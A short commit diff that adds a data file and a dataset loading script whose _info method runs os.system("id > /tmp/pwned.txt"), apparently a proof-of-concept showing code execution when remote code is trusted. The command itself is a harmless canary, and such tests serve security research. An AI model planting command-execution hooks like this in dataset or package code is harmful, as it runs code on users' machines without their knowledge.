add loading script

data.csv

@@ -0,0 +1,3 @@
+text
+hello
+world

script-test-45.py

@@ -0,0 +1,14 @@
+import os
+import datasets
+
+class ScriptTest45(datasets.GeneratorBasedBuilder):
+    def _info(self):
+        # This would execute if trust_remote_code is True
+        os.system("id > /tmp/pwned.txt")
+        return datasets.DatasetInfo(
+            features=datasets.Features({"text": datasets.Value("string")})
+        )
+    def _split_generators(self, dl_manager):
+        return []
+    def _generate_examples(self):
+        yield 0, {"text": "test"}